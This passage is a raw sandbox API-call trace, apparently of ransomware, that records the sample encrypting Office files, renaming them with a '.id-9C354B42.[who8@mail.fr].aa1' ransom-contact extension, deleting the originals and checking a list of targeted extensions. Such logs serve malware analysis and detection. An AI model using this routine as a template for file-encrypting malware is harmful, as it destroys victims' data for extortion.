[0205.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0207.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0207.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0207.178] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fc6c | out: lpNewFilePointer=0x0) returned 1 [0207.178] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.178] ReadFile (in: hFile=0x17c, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x239fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x239fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.185] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x239fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.185] ReadFile (in: hFile=0x17c, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x239fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x239fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.189] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x239fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0207.189] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x239fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.189] ReadFile (in: hFile=0x17c, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x239fc38, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x239fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.207] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.207] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x239fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0207.446] SetEndOfFile (hFile=0x17c) returned 1 [0207.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f93098 [0207.648] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fc7c | out: lpNewFilePointer=0x0) returned 1 [0207.648] WriteFile (in: hFile=0x17c, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x239fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x239fc88*=0x40000, lpOverlapped=0x0) returned 1 [0207.874] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x239fc7c | out: lpNewFilePointer=0x0) returned 1 [0207.874] WriteFile (in: hFile=0x17c, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x239fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x239fc88*=0x40000, lpOverlapped=0x0) returned 1 [0207.877] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x239fc7c | out: lpNewFilePointer=0x0) returned 1 [0207.877] WriteFile (in: hFile=0x17c, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x239fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x239fc88*=0x40000, lpOverlapped=0x0) returned 1 [0207.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f93098 | out: hHeap=0x4f0000) returned 1 [0207.879] CloseHandle (hObject=0x17c) returned 1 [0208.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.514] lstrlenW (lpString=".doc") returned 4 [0208.514] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.514] lstrlenW (lpString=".docx") returned 5 [0208.514] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0208.514] lstrlenW (lpString=".pdf") returned 4 [0208.515] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.515] lstrlenW (lpString=".xls") returned 4 [0208.515] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.515] lstrlenW (lpString=".xlsx") returned 5 [0208.515] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0208.515] lstrlenW (lpString=".ppt") returned 4 [0208.515] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.515] lstrlenW (lpString=".zip") returned 4 [0208.515] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.515] lstrlenW (lpString=".rar") returned 4 [0208.515] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.515] lstrlenW (lpString=".bz2") returned 4 [0208.515] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.515] lstrlenW (lpString=".7z") returned 3 [0208.515] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.516] lstrlenW (lpString=".dbf") returned 4 [0208.516] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.516] lstrlenW (lpString=".1cd") returned 4 [0208.516] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.516] lstrlenW (lpString=".jpg") returned 4 [0208.516] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.516] lstrlenW (lpString=".doc") returned 4 [0208.516] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.516] lstrlenW (lpString=".docx") returned 5 [0208.516] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0208.516] lstrlenW (lpString=".pdf") returned 4 [0208.516] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.516] lstrlenW (lpString=".xls") returned 4 [0208.516] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.516] lstrlenW (lpString=".xlsx") returned 5 [0208.516] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0208.516] lstrlenW (lpString=".ppt") returned 4 [0208.516] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.517] lstrlenW (lpString=".zip") returned 4 [0208.517] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.517] lstrlenW (lpString=".rar") returned 4 [0208.517] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.517] lstrlenW (lpString=".bz2") returned 4 [0208.517] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.517] lstrlenW (lpString=".7z") returned 3 [0208.517] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.517] lstrlenW (lpString=".dbf") returned 4 [0208.517] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.517] lstrlenW (lpString=".1cd") returned 4 [0208.517] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0208.517] lstrlenW (lpString=".jpg") returned 4 [0208.517] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.518] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0208.518] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0208.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.927] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=819) returned 1 [0208.927] CloseHandle (hObject=0x1f4) returned 1 [0208.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0208.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.927] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.928] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0208.928] GetLastError () returned 0x0 [0208.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x333, lpOverlapped=0x0) returned 1 [0208.930] WriteFile (in: hFile=0x204, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x340, lpOverlapped=0x0) returned 1 [0208.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.931] WriteFile (in: hFile=0x204, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0208.931] SetEndOfFile (hFile=0x204) returned 1 [0208.931] CloseHandle (hObject=0x204) returned 1 [0208.932] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.932] SetEndOfFile (hFile=0x1f4) returned 1 [0208.933] CloseHandle (hObject=0x1f4) returned 1 [0208.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.933] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0208.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.934] lstrlenW (lpString=".doc") returned 4 [0208.934] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.934] lstrlenW (lpString=".docx") returned 5 [0208.934] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0208.934] lstrlenW (lpString=".pdf") returned 4 [0208.934] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.934] lstrlenW (lpString=".xls") returned 4 [0208.934] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0208.934] lstrlenW (lpString=".xlsx") returned 5 [0208.934] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0208.934] lstrlenW (lpString=".ppt") returned 4 [0208.934] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.934] lstrlenW (lpString=".zip") returned 4 [0208.934] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.934] lstrlenW (lpString=".rar") returned 4 [0208.934] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.934] lstrlenW (lpString=".bz2") returned 4 [0208.934] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.934] lstrlenW (lpString=".7z") returned 3 [0208.934] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.934] lstrlenW (lpString=".dbf") returned 4 [0208.934] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.935] lstrlenW (lpString=".1cd") returned 4 [0208.935] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.935] lstrlenW (lpString=".jpg") returned 4 [0208.935] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.935] lstrlenW (lpString=".doc") returned 4 [0208.935] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString=".docx") returned 5 [0208.935] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0208.935] lstrlenW (lpString=".pdf") returned 4 [0208.935] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString=".xls") returned 4 [0208.935] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString=".xlsx") returned 5 [0208.935] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0208.935] lstrlenW (lpString=".ppt") returned 4 [0208.935] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.935] lstrlenW (lpString=".zip") returned 4 [0208.935] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.935] lstrlenW (lpString=".rar") returned 4 [0208.935] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString=".bz2") returned 4 [0208.935] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.935] lstrlenW (lpString=".7z") returned 3 [0208.936] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.936] lstrlenW (lpString=".dbf") returned 4 [0208.936] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.936] lstrlenW (lpString=".1cd") returned 4 [0208.936] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0208.936] lstrlenW (lpString=".jpg") returned 4 [0208.936] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.936] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0208.936] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0208.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.937] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=37689) returned 1 [0208.937] CloseHandle (hObject=0x1f4) returned 1 [0208.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0208.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.938] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.938] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0208.938] GetLastError () returned 0x0 [0208.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x9339, lpOverlapped=0x0) returned 1 [0208.941] WriteFile (in: hFile=0x204, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0208.942] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.942] WriteFile (in: hFile=0x204, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0208.942] SetEndOfFile (hFile=0x204) returned 1 [0208.943] CloseHandle (hObject=0x204) returned 1 [0208.944] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.944] SetEndOfFile (hFile=0x1f4) returned 1 [0208.945] CloseHandle (hObject=0x1f4) returned 1 [0208.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0208.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.946] lstrlenW (lpString=".doc") returned 4 [0208.946] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.946] lstrlenW (lpString=".docx") returned 5 [0208.946] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0208.946] lstrlenW (lpString=".pdf") returned 4 [0208.946] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.946] lstrlenW (lpString=".xls") returned 4 [0208.946] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.946] lstrlenW (lpString=".xlsx") returned 5 [0208.946] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0208.946] lstrlenW (lpString=".ppt") returned 4 [0208.946] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.946] lstrlenW (lpString=".zip") returned 4 [0208.946] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.946] lstrlenW (lpString=".rar") returned 4 [0208.946] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.946] lstrlenW (lpString=".bz2") returned 4 [0208.946] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.946] lstrlenW (lpString=".7z") returned 3 [0208.946] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.946] lstrlenW (lpString=".dbf") returned 4 [0208.946] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.946] lstrlenW (lpString=".1cd") returned 4 [0208.947] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.947] lstrlenW (lpString=".jpg") returned 4 [0208.947] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.947] lstrlenW (lpString=".doc") returned 4 [0208.947] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.947] lstrlenW (lpString=".docx") returned 5 [0208.947] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0208.947] lstrlenW (lpString=".pdf") returned 4 [0208.947] 